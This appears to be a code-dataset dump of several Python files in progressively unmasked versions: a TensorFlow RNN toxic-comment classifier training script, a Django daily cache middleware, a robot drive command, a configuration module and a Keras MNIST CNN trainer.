tf.Graph().as_default(): session_conf = tf.ConfigProto(allow_soft_placement=FLAGS. allow_soft_placement, log_device_placement=FLAGS.log_device_placement) sess = tf.Session(config=session_conf) with sess.as_default(): rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train .shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim ) global_step = tf.Variable(0, name='global_step', trainable=False) optimizer = tf.train.AdamOptimizer(0.001) grads_and_vars = optimizer.compute_gradients(rnn.loss) train_op = optimizer.apply_gradients(grads_and_vars, global_step= global_step) grad_summaries = [] for g, v in grads_and_vars: if g is not None: grad_hist_summary = tf.summary.histogram('{}/grad/hist'. format(v.name), g) sparsity_summary = tf.summary.scalar('{}/grad/sparsity'. format(v.name), tf.nn.zero_fraction(g)) grad_summaries.append(grad_hist_summary) grad_summaries.append(sparsity_summary) grad_summaries_merged = tf.summary.merge(grad_summaries) out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs')) print('Writing to {}\n'.format(out_dir)) loss_summary = tf.summary.scalar('loss', rnn.loss) acc_summary = tf.summary.scalar('accuracy', rnn.accuracy) train_summary_op = tf.summary.merge([loss_summary, acc_summary, grad_summaries_merged]) train_summary_dir = os.path.join(out_dir, 'summaries', 'train') train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph) dev_summary_op = tf.summary.merge([loss_summary, acc_summary]) dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev') dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph) checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints')) checkpoint_prefix = os.path.join(checkpoint_dir, 'model') if not os.path.exists(checkpoint_dir): os.makedirs(checkpoint_dir) saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS. num_checkpoints) vocab_processor.save(os.path.join(out_dir, 'vocab')) sess.run(tf.global_variables_initializer()) vocabulary = vocab_processor.vocabulary_ initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary) sess.run(rnn.W_embed.assign(initEmbeddings)) for v in tf.trainable_variables(): print(v.name) def train_step(x_batch, y_batch): """ A single training step """ feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn. dropout_keep_prob: FLAGS.dropout_keep_prob} _, step, summaries, loss, accuracy = sess.run([train_op, global_step, train_summary_op, rnn.loss, rnn.accuracy], feed_dict) time_str = datetime.datetime.now().isoformat() train_summary_writer.add_summary(summaries, step) return loss, accuracy def dev_step(x_batch, y_batch, writer=None): """ Evaluates model on a dev set """ feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn. dropout_keep_prob: 1.0} step, summaries, loss, accuracy = sess.run([global_step, dev_summary_op, rnn.loss, rnn.accuracy], feed_dict) time_str = datetime.datetime.now().isoformat() print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step, loss, accuracy)) if writer: writer.add_summary(summaries, step) return accuracy batches = data_helpers.batch_iter(list(zip(x_train, y_train)), FLAGS.batch_size, FLAGS.num_epochs) prev_val_acc = 0 for batch in batches: x_batch, y_batch = zip(*batch) train_loss, train_acc = train_step(x_batch, y_batch) current_step = tf.train.global_step(sess, global_step) if current_step % FLAGS.evaluate_every == 0: print('\nTrain loss:{0}, Train accuracy:{1}'.format( train_loss, train_acc)) print('Evaluation:') val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer) if val_acc > 0.95 and val_acc > prev_val_acc: save_path = saver.save(sess, checkpoint_prefix, global_step=current_step) print('Model checkpoint saved at {0}, accuracy={1}'. format(save_path, round(val_acc, 3))) prev_val_acc = val_acc print('')
#! /usr/bin/env python import tensorflow as tf import numpy as np import os import time import datetime import data_helpers from text_rnn import TextRNN from tensorflow.contrib import learn # Parameters # ================================================== # Data loading params flags = tf.app.flags FLAGS = flags.FLAGS # Model Hyperparameters tf.flags.DEFINE_integer("embedding_dim", 100, "Dimensionality of character embedding (default: 100)") tf.flags.DEFINE_float("dropout_keep_prob", 0.5, "Dropout keep probability (default: 0.5)") # Training parameters tf.flags.DEFINE_integer("batch_size", 128, "Batch Size (default: 64)") tf.flags.DEFINE_integer("num_epochs", 100, "Number of training epochs (default: 200)") tf.flags.DEFINE_integer("evaluate_every", 500, "Evaluate model on dev set after this many steps (default: 100)") tf.flags.DEFINE_integer("checkpoint_every", 500, "Save model after this many steps (default: 100)") tf.flags.DEFINE_integer("num_checkpoints", 3, "Number of checkpoints to store (default: 5)") # Misc Parameters tf.flags.DEFINE_boolean("allow_soft_placement", True, "Allow device soft device placement") tf.flags.DEFINE_boolean("log_device_placement", False, "Log placement of ops on devices") # Data Preparation # ================================================== # Load data print("\nLoading train data...") x_train, y_train = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_train.txt', '../data/toxic_no_train.txt') print("x_train length:{0}, y_train shape:{1}".format(len(x_train), y_train.shape)) print(x_train[0], y_train[0]) print("\nLoading dev data...") x_dev, y_dev = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt') print("x_dev length:{0}, y_dev shape:{1}".format(len(x_dev), y_dev.shape)) print(x_dev[-1], y_dev[-1]) x = x_train+x_dev print("x length:{0}".format(len(x))) # Build vocabulary # max_sent_length, sent = max([(len(i.split(" ")),i) for i in x]) # print("Max sent length = {0}".format(max_sent_length)) # print("Sent with max length = {0}".format(sent)) max_sent_length = 80 vocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length) x = np.array(list(vocab_processor.fit_transform(x))) #x is an iterable, [n_samples, max_sent_length] Word-id matrix. print("Shape of word-id matrix: {0}".format(x.shape)) #Transform x_train and x_dev to word-id matrix x_train = np.array(list(vocab_processor.transform(x_train))) print("Shape of x_train matrix: {0}".format(x_train.shape)) x_dev = np.array(list(vocab_processor.transform(x_dev))) print("Shape of x_dev matrix: {0}".format(x_dev.shape)) # Randomly shuffle data np.random.seed(10) shuffle_indices = np.random.permutation(np.arange(len(y_train))) x_train = x_train[shuffle_indices] y_train = y_train[shuffle_indices] del x vocabsize = len(vocab_processor.vocabulary_) print("Vocabulary Size: {:d}".format(vocabsize)) # Training # ================================================== with tf.Graph().as_default(): session_conf = tf.ConfigProto( allow_soft_placement=FLAGS.allow_soft_placement, log_device_placement=FLAGS.log_device_placement) sess = tf.Session(config=session_conf) with sess.as_default(): rnn = TextRNN( sequence_length=x_train.shape[1], num_classes=y_train.shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim) # Define Training procedure global_step = tf.Variable(0, name="global_step", trainable=False) optimizer = tf.train.AdamOptimizer(1e-3) grads_and_vars = optimizer.compute_gradients(rnn.loss) train_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step) # Keep track of gradient values and sparsity (optional) grad_summaries = [] for g, v in grads_and_vars: if g is not None: grad_hist_summary = tf.summary.histogram("{}/grad/hist".format(v.name), g) sparsity_summary = tf.summary.scalar("{}/grad/sparsity".format(v.name), tf.nn.zero_fraction(g)) grad_summaries.append(grad_hist_summary) grad_summaries.append(sparsity_summary) grad_summaries_merged = tf.summary.merge(grad_summaries) # Output directory for models and summaries # timestamp = str(int(time.time())) # out_dir = os.path.abspath(os.path.join(os.path.curdir, "runs", timestamp)) out_dir = os.path.abspath(os.path.join(os.path.curdir, "runs")) print("Writing to {}\n".format(out_dir)) # Summaries for loss and accuracy loss_summary = tf.summary.scalar("loss", rnn.loss) acc_summary = tf.summary.scalar("accuracy", rnn.accuracy) # Train Summaries train_summary_op = tf.summary.merge([loss_summary, acc_summary, grad_summaries_merged]) train_summary_dir = os.path.join(out_dir, "summaries", "train") train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph) # Dev summaries dev_summary_op = tf.summary.merge([loss_summary, acc_summary]) dev_summary_dir = os.path.join(out_dir, "summaries", "dev") dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph) # Checkpoint directory. Tensorflow assumes this directory already exists so we need to create it checkpoint_dir = os.path.abspath(os.path.join(out_dir, "checkpoints")) checkpoint_prefix = os.path.join(checkpoint_dir, "model") if not os.path.exists(checkpoint_dir): os.makedirs(checkpoint_dir) saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.num_checkpoints) # Write vocabulary vocab_processor.save(os.path.join(out_dir, "vocab")) # Initialize all variables sess.run(tf.global_variables_initializer()) vocabulary = vocab_processor.vocabulary_ initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary) sess.run(rnn.W_embed.assign(initEmbeddings)) for v in tf.trainable_variables(): print(v.name) def train_step(x_batch, y_batch): """ A single training step """ feed_dict = { rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.dropout_keep_prob: FLAGS.dropout_keep_prob } _, step, summaries, loss, accuracy = sess.run( [train_op, global_step, train_summary_op, rnn.loss, rnn.accuracy], feed_dict) time_str = datetime.datetime.now().isoformat() # print("{}: step {}, loss {:g}, acc {:g}".format(time_str, step, loss, accuracy)) train_summary_writer.add_summary(summaries, step) return loss,accuracy def dev_step(x_batch, y_batch, writer=None): """ Evaluates model on a dev set """ feed_dict = { rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.dropout_keep_prob: 1.0 } step, summaries, loss, accuracy = sess.run( [global_step, dev_summary_op, rnn.loss, rnn.accuracy], feed_dict) time_str = datetime.datetime.now().isoformat() print("{}: step {}, loss {:g}, acc {:g}".format(time_str, step, loss, accuracy)) if writer: writer.add_summary(summaries, step) return accuracy # Create batches agnostic of class distributions batches = data_helpers.batch_iter(list(zip(x_train, y_train)), FLAGS.batch_size, FLAGS.num_epochs) # Create batches aware of imbalance in class distributions # batches = data_helpers.makeBatches(x_train, y_train[:,1].tolist(), FLAGS.batch_size, FLAGS.num_epochs) # Training loop. For each batch... prev_val_acc = 0 for batch in batches: x_batch, y_batch = zip(*batch) train_loss, train_acc = train_step(x_batch, y_batch) current_step = tf.train.global_step(sess, global_step) if current_step % FLAGS.evaluate_every == 0: print("\nTrain loss:{0}, Train accuracy:{1}".format(train_loss, train_acc)) print("Evaluation:") val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer) if val_acc > 0.95 and val_acc > prev_val_acc: save_path = saver.save(sess, checkpoint_prefix, global_step=current_step) print("Model checkpoint saved at {0}, accuracy={1}".format(save_path, round(val_acc, 3))) prev_val_acc = val_acc print("")
[ 0, 1, 2, 3, 4 ]
9,905
5b440484c5d7f066c54837c2812967a0ff360399
<mask token> class DailyCacheMiddleware(CacheMiddleware): <mask token> @property def key_prefix(self): return date.today().isoformat() + '/' + (self.__key_prefix or '') @key_prefix.setter def key_prefix(self, value): self.__key_prefix = value <mask token>
<mask token> class DailyCacheMiddleware(CacheMiddleware): """Like the cache middleware, but always expires at midnight""" @property def key_prefix(self): return date.today().isoformat() + '/' + (self.__key_prefix or '') @key_prefix.setter def key_prefix(self, value): self.__key_prefix = value <mask token>
<mask token> lt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'], cache='eregs_longterm_cache') class DailyCacheMiddleware(CacheMiddleware): """Like the cache middleware, but always expires at midnight""" @property def key_prefix(self): return date.today().isoformat() + '/' + (self.__key_prefix or '') @key_prefix.setter def key_prefix(self, value): self.__key_prefix = value daily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)( cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'], cache_alias='eregs_longterm_cache')
from datetime import date from django.conf import settings from django.utils.decorators import decorator_from_middleware_with_args from django.views.decorators.cache import cache_page from django.middleware.cache import CacheMiddleware lt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'], cache='eregs_longterm_cache') class DailyCacheMiddleware(CacheMiddleware): """Like the cache middleware, but always expires at midnight""" @property def key_prefix(self): return date.today().isoformat() + '/' + (self.__key_prefix or '') @key_prefix.setter def key_prefix(self, value): self.__key_prefix = value daily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)( cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'], cache_alias='eregs_longterm_cache')
from datetime import date from django.conf import settings from django.utils.decorators import decorator_from_middleware_with_args from django.views.decorators.cache import cache_page from django.middleware.cache import CacheMiddleware lt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'], cache='eregs_longterm_cache') class DailyCacheMiddleware(CacheMiddleware): """Like the cache middleware, but always expires at midnight""" @property def key_prefix(self): return date.today().isoformat() + '/' + (self.__key_prefix or '') @key_prefix.setter def key_prefix(self, value): self.__key_prefix = value daily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)( cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'], cache_alias='eregs_longterm_cache')
[ 3, 4, 5, 6, 7 ]
9,906
f73faabe955e3ae05039e58ebabe5c012e080f38
<mask token> class TankDriveResetEncoders(Command): <mask token> def execute(self): subsystems.driveline.resetEncoders() print('CMD TankDriveResetEncoders: Reset Completed') <mask token>
<mask token> class TankDriveResetEncoders(Command): def __init__(self): super().__init__('TankDriveTurnToHeading') self.requires(subsystems.driveline) self.setInterruptible(True) self.setRunWhenDisabled(False) def execute(self): subsystems.driveline.resetEncoders() print('CMD TankDriveResetEncoders: Reset Completed') <mask token>
<mask token> class TankDriveResetEncoders(Command): def __init__(self): super().__init__('TankDriveTurnToHeading') self.requires(subsystems.driveline) self.setInterruptible(True) self.setRunWhenDisabled(False) def execute(self): subsystems.driveline.resetEncoders() print('CMD TankDriveResetEncoders: Reset Completed') def isFinished(self): return True
import time import math from wpilib import SmartDashboard from wpilib.command import Command import robotmap import subsystems class TankDriveResetEncoders(Command): def __init__(self): super().__init__('TankDriveTurnToHeading') self.requires(subsystems.driveline) self.setInterruptible(True) self.setRunWhenDisabled(False) def execute(self): subsystems.driveline.resetEncoders() print('CMD TankDriveResetEncoders: Reset Completed') def isFinished(self): return True
import time import math from wpilib import SmartDashboard from wpilib.command import Command import robotmap import subsystems class TankDriveResetEncoders(Command): def __init__(self): super().__init__('TankDriveTurnToHeading') self.requires(subsystems.driveline) self.setInterruptible(True) self.setRunWhenDisabled(False) def execute(self): subsystems.driveline.resetEncoders() print("CMD TankDriveResetEncoders: Reset Completed") def isFinished(self): return True
[ 2, 3, 4, 5, 6 ]
9,907
263d2fe43cf8747f20fd51897ba003c9c4cb4280
<mask token> class Config: """ Configuration management entity. Args: name (str): Name of config environment. fallback (bool): Indicate if configuration should fallback to base. """ no_config_err = 'No such config variable {}' def __init__(self, name, fallback): from importlib import import_module from os import listdir from os.path import dirname self.config_path = dirname(__file__) self.name = name self.fallback = fallback self.config_modules = set([i.strip('.py') for i in listdir(self. config_path) if '.py' in i and i != '__init__.py']) if name not in self.config_modules: err = 'Config environment {} does not exist'.format(name) raise AttributeError(err) if self.fallback: self.base = import_module('illume.config.base') self.module = import_module('illume.config.{}'.format(self.name)) def get(self, name, default): """Get config value""" value = getattr(self.module, name, default) if value != EMPTY: return value elif value == EMPTY and not self.fallback: raise AttributeError(self.no_config_err.format(name)) elif value == EMPTY and self.fallback: value = getattr(self.base, name, default) if value == EMPTY: raise AttributeError(self.no_config_err.format(name)) return value <mask token>
<mask token> class EMPTY: """ Signifies that a default value was not set. Should trigger an error if default is set to EMPTY and an attribute does not exist. """ pass class Config: """ Configuration management entity. Args: name (str): Name of config environment. fallback (bool): Indicate if configuration should fallback to base. """ no_config_err = 'No such config variable {}' def __init__(self, name, fallback): from importlib import import_module from os import listdir from os.path import dirname self.config_path = dirname(__file__) self.name = name self.fallback = fallback self.config_modules = set([i.strip('.py') for i in listdir(self. config_path) if '.py' in i and i != '__init__.py']) if name not in self.config_modules: err = 'Config environment {} does not exist'.format(name) raise AttributeError(err) if self.fallback: self.base = import_module('illume.config.base') self.module = import_module('illume.config.{}'.format(self.name)) def get(self, name, default): """Get config value""" value = getattr(self.module, name, default) if value != EMPTY: return value elif value == EMPTY and not self.fallback: raise AttributeError(self.no_config_err.format(name)) elif value == EMPTY and self.fallback: value = getattr(self.base, name, default) if value == EMPTY: raise AttributeError(self.no_config_err.format(name)) return value <mask token>
<mask token> class EMPTY: """ Signifies that a default value was not set. Should trigger an error if default is set to EMPTY and an attribute does not exist. """ pass class Config: """ Configuration management entity. Args: name (str): Name of config environment. fallback (bool): Indicate if configuration should fallback to base. """ no_config_err = 'No such config variable {}' def __init__(self, name, fallback): from importlib import import_module from os import listdir from os.path import dirname self.config_path = dirname(__file__) self.name = name self.fallback = fallback self.config_modules = set([i.strip('.py') for i in listdir(self. config_path) if '.py' in i and i != '__init__.py']) if name not in self.config_modules: err = 'Config environment {} does not exist'.format(name) raise AttributeError(err) if self.fallback: self.base = import_module('illume.config.base') self.module = import_module('illume.config.{}'.format(self.name)) def get(self, name, default): """Get config value""" value = getattr(self.module, name, default) if value != EMPTY: return value elif value == EMPTY and not self.fallback: raise AttributeError(self.no_config_err.format(name)) elif value == EMPTY and self.fallback: value = getattr(self.base, name, default) if value == EMPTY: raise AttributeError(self.no_config_err.format(name)) return value <mask token> def get(name, default=EMPTY): """Get configuration variable.""" config_class = ENV.get(CONFIG_KEY, None) if config_class is None: raise AttributeError('Config environment not set.') return config_class.get(name, default)
<mask token> CONFIG_KEY = 'config_class' ENV = {} class EMPTY: """ Signifies that a default value was not set. Should trigger an error if default is set to EMPTY and an attribute does not exist. """ pass class Config: """ Configuration management entity. Args: name (str): Name of config environment. fallback (bool): Indicate if configuration should fallback to base. """ no_config_err = 'No such config variable {}' def __init__(self, name, fallback): from importlib import import_module from os import listdir from os.path import dirname self.config_path = dirname(__file__) self.name = name self.fallback = fallback self.config_modules = set([i.strip('.py') for i in listdir(self. config_path) if '.py' in i and i != '__init__.py']) if name not in self.config_modules: err = 'Config environment {} does not exist'.format(name) raise AttributeError(err) if self.fallback: self.base = import_module('illume.config.base') self.module = import_module('illume.config.{}'.format(self.name)) def get(self, name, default): """Get config value""" value = getattr(self.module, name, default) if value != EMPTY: return value elif value == EMPTY and not self.fallback: raise AttributeError(self.no_config_err.format(name)) elif value == EMPTY and self.fallback: value = getattr(self.base, name, default) if value == EMPTY: raise AttributeError(self.no_config_err.format(name)) return value def setenv(name, fallback=True): """Set configuration environment.""" if CONFIG_KEY in ENV: raise AttributeError('Config environment already set.') config_class = Config(name, fallback) ENV[CONFIG_KEY] = config_class def get(name, default=EMPTY): """Get configuration variable.""" config_class = ENV.get(CONFIG_KEY, None) if config_class is None: raise AttributeError('Config environment not set.') return config_class.get(name, default)
""" Configuration management. Environment must be set before use. Call .get() to obtain configuration variable. If the variable does not exist in the set environment, then """ CONFIG_KEY = "config_class" ENV = {} class EMPTY: """ Signifies that a default value was not set. Should trigger an error if default is set to EMPTY and an attribute does not exist. """ pass class Config: """ Configuration management entity. Args: name (str): Name of config environment. fallback (bool): Indicate if configuration should fallback to base. """ no_config_err = "No such config variable {}" def __init__(self, name, fallback): from importlib import import_module from os import listdir from os.path import dirname self.config_path = dirname(__file__) self.name = name self.fallback = fallback # List of config modules available self.config_modules = set([ i.strip(".py") for i in listdir(self.config_path) if ".py" in i and i != "__init__.py" ]) if name not in self.config_modules: err = "Config environment {} does not exist".format(name) raise AttributeError(err) if self.fallback: # Fallback configuration module. self.base = import_module("illume.config.base") # Desired configuration module. self.module = import_module("illume.config.{}".format(self.name)) def get(self, name, default): """Get config value""" value = getattr(self.module, name, default) if value != EMPTY: return value elif value == EMPTY and not self.fallback: raise AttributeError(self.no_config_err.format(name)) elif value == EMPTY and self.fallback: value = getattr(self.base, name, default) if value == EMPTY: raise AttributeError(self.no_config_err.format(name)) return value def setenv(name, fallback=True): """Set configuration environment.""" if CONFIG_KEY in ENV: raise AttributeError("Config environment already set.") config_class = Config(name, fallback) ENV[CONFIG_KEY] = config_class def get(name, default=EMPTY): """Get configuration variable.""" config_class = ENV.get(CONFIG_KEY, None) if config_class is None: raise AttributeError("Config environment not set.") return config_class.get(name, default)
[ 5, 7, 8, 10, 11 ]
9,908
01339324ad1a11aff062e8b27efabf27c97157fb
<mask token>
<mask token> for index in range(len(train_folder_list)): path = os.path.join(TRAIN_DIR, train_folder_list[index]) path = path + '/' img_list = os.listdir(path) for img in img_list: img_path = os.path.join(path, img) img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE) train_input.append([np.array(img)]) train_label.append([np.array(index)]) <mask token> np.save('train_data.npy', train_input) np.save('train_label.npy', train_label) <mask token> for index in range(len(test_folder_list)): path = os.path.join(TEST_DIR, test_folder_list[index]) path = path + '/' img_list = os.listdir(path) for img in img_list: img_path = os.path.join(path, img) img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE) test_input.append([np.array(img)]) test_label.append([np.array(index)]) <mask token> np.save('test_input.npy', test_input) np.save('test_label.npy', test_label) <mask token> np.random.seed(seed) tf.set_random_seed(seed) <mask token> print('X train shape') print(X_train.shape) print('Y train shape') print(Y_train.shape) print('X test shape') print(X_test.shape) print('y test shape') print(Y_test.shape) <mask token> model.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1), activation='relu')) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=2)) model.add(Dropout(0.25)) model.add(Flatten()) model.add(Dense(128, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(10, activation='softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[ 'accuracy']) <mask token> if not os.path.exists(MODEL_DIR): os.mkdir(MODEL_DIR) <mask token> print(""" Test Accuracy: %.4f""" % model.evaluate(X_test, Y_test)[1]) <mask token> plt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss') plt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss') plt.legend(loc='upper right') plt.grid() plt.xlabel('epoch') plt.ylabel('loss') plt.show()
<mask token> TRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/' train_folder_list = array(os.listdir(TRAIN_DIR)) train_input = [] train_label = [] label_encoder = LabelEncoder() integer_encoded = label_encoder.fit_transform(train_folder_list) onehot_encoder = OneHotEncoder(sparse=False) integer_encoded = integer_encoded.reshape(len(integer_encoded), 1) onehot_encoded = onehot_encoder.fit_transform(integer_encoded) for index in range(len(train_folder_list)): path = os.path.join(TRAIN_DIR, train_folder_list[index]) path = path + '/' img_list = os.listdir(path) for img in img_list: img_path = os.path.join(path, img) img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE) train_input.append([np.array(img)]) train_label.append([np.array(index)]) train_input = np.reshape(train_input, (-1, 28, 28)) train_label = np.reshape(train_label, (-1,)) train_input = np.array(train_input).astype(np.float32) train_label = np.array(train_label).astype(np.float32) np.save('train_data.npy', train_input) np.save('train_label.npy', train_label) TEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/' test_folder_list = array(os.listdir(TEST_DIR)) test_input = [] test_label = [] label_encoder = LabelEncoder() integer_encoded = label_encoder.fit_transform(test_folder_list) onehot_encoder = OneHotEncoder(sparse=False) integer_encoded = integer_encoded.reshape(len(integer_encoded), 1) onehot_encoded = onehot_encoder.fit_transform(integer_encoded) for index in range(len(test_folder_list)): path = os.path.join(TEST_DIR, test_folder_list[index]) path = path + '/' img_list = os.listdir(path) for img in img_list: img_path = os.path.join(path, img) img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE) test_input.append([np.array(img)]) test_label.append([np.array(index)]) test_input = np.reshape(test_input, (-1, 28, 28)) test_label = np.reshape(test_label, (-1,)) test_input = np.array(test_input).astype(np.float32) test_label = np.array(test_label).astype(np.float32) np.save('test_input.npy', test_input) np.save('test_label.npy', test_label) <mask token> seed = 0 np.random.seed(seed) tf.set_random_seed(seed) X_train = train_input Y_train = train_label X_test = test_input Y_test = test_label print('X train shape') print(X_train.shape) print('Y train shape') print(Y_train.shape) print('X test shape') print(X_test.shape) print('y test shape') print(Y_test.shape) X_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255 X_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255 Y_train = np_utils.to_categorical(Y_train) Y_test = np_utils.to_categorical(Y_test) model = Sequential() model.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1), activation='relu')) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=2)) model.add(Dropout(0.25)) model.add(Flatten()) model.add(Dense(128, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(10, activation='softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[ 'accuracy']) MODEL_DIR = './model/' if not os.path.exists(MODEL_DIR): os.mkdir(MODEL_DIR) modelpath = './model/{epoch:02d}-{val_loss:.4f}.hdf5' checkpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss', verbose=1, save_best_only=True) early_stopping_callback = EarlyStopping(monitor='val_loss', patience=10) history = model.fit(X_train, Y_train, validation_data=(X_test, Y_test), epochs=15, batch_size=100, verbose=0, callbacks=[ early_stopping_callback, checkpointer]) print(""" Test Accuracy: %.4f""" % model.evaluate(X_test, Y_test)[1]) y_vloss = history.history['val_loss'] y_loss = history.history['loss'] x_len = np.arange(len(y_loss)) plt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss') plt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss') plt.legend(loc='upper right') plt.grid() plt.xlabel('epoch') plt.ylabel('loss') plt.show()
import os import cv2 import numpy as np from sklearn.preprocessing import LabelEncoder from sklearn.preprocessing import OneHotEncoder from numpy import array import tensorflow as tf TRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/' train_folder_list = array(os.listdir(TRAIN_DIR)) train_input = [] train_label = [] label_encoder = LabelEncoder() integer_encoded = label_encoder.fit_transform(train_folder_list) onehot_encoder = OneHotEncoder(sparse=False) integer_encoded = integer_encoded.reshape(len(integer_encoded), 1) onehot_encoded = onehot_encoder.fit_transform(integer_encoded) for index in range(len(train_folder_list)): path = os.path.join(TRAIN_DIR, train_folder_list[index]) path = path + '/' img_list = os.listdir(path) for img in img_list: img_path = os.path.join(path, img) img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE) train_input.append([np.array(img)]) train_label.append([np.array(index)]) train_input = np.reshape(train_input, (-1, 28, 28)) train_label = np.reshape(train_label, (-1,)) train_input = np.array(train_input).astype(np.float32) train_label = np.array(train_label).astype(np.float32) np.save('train_data.npy', train_input) np.save('train_label.npy', train_label) TEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/' test_folder_list = array(os.listdir(TEST_DIR)) test_input = [] test_label = [] label_encoder = LabelEncoder() integer_encoded = label_encoder.fit_transform(test_folder_list) onehot_encoder = OneHotEncoder(sparse=False) integer_encoded = integer_encoded.reshape(len(integer_encoded), 1) onehot_encoded = onehot_encoder.fit_transform(integer_encoded) for index in range(len(test_folder_list)): path = os.path.join(TEST_DIR, test_folder_list[index]) path = path + '/' img_list = os.listdir(path) for img in img_list: img_path = os.path.join(path, img) img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE) test_input.append([np.array(img)]) test_label.append([np.array(index)]) test_input = np.reshape(test_input, (-1, 28, 28)) test_label = np.reshape(test_label, (-1,)) test_input = np.array(test_input).astype(np.float32) test_label = np.array(test_label).astype(np.float32) np.save('test_input.npy', test_input) np.save('test_label.npy', test_label) from keras.datasets import mnist from keras.utils import np_utils from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D from keras.callbacks import ModelCheckpoint, EarlyStopping import matplotlib.pyplot as plt seed = 0 np.random.seed(seed) tf.set_random_seed(seed) X_train = train_input Y_train = train_label X_test = test_input Y_test = test_label print('X train shape') print(X_train.shape) print('Y train shape') print(Y_train.shape) print('X test shape') print(X_test.shape) print('y test shape') print(Y_test.shape) X_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255 X_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255 Y_train = np_utils.to_categorical(Y_train) Y_test = np_utils.to_categorical(Y_test) model = Sequential() model.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1), activation='relu')) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=2)) model.add(Dropout(0.25)) model.add(Flatten()) model.add(Dense(128, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(10, activation='softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[ 'accuracy']) MODEL_DIR = './model/' if not os.path.exists(MODEL_DIR): os.mkdir(MODEL_DIR) modelpath = './model/{epoch:02d}-{val_loss:.4f}.hdf5' checkpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss', verbose=1, save_best_only=True) early_stopping_callback = EarlyStopping(monitor='val_loss', patience=10) history = model.fit(X_train, Y_train, validation_data=(X_test, Y_test), epochs=15, batch_size=100, verbose=0, callbacks=[ early_stopping_callback, checkpointer]) print(""" Test Accuracy: %.4f""" % model.evaluate(X_test, Y_test)[1]) y_vloss = history.history['val_loss'] y_loss = history.history['loss'] x_len = np.arange(len(y_loss)) plt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss') plt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss') plt.legend(loc='upper right') plt.grid() plt.xlabel('epoch') plt.ylabel('loss') plt.show()
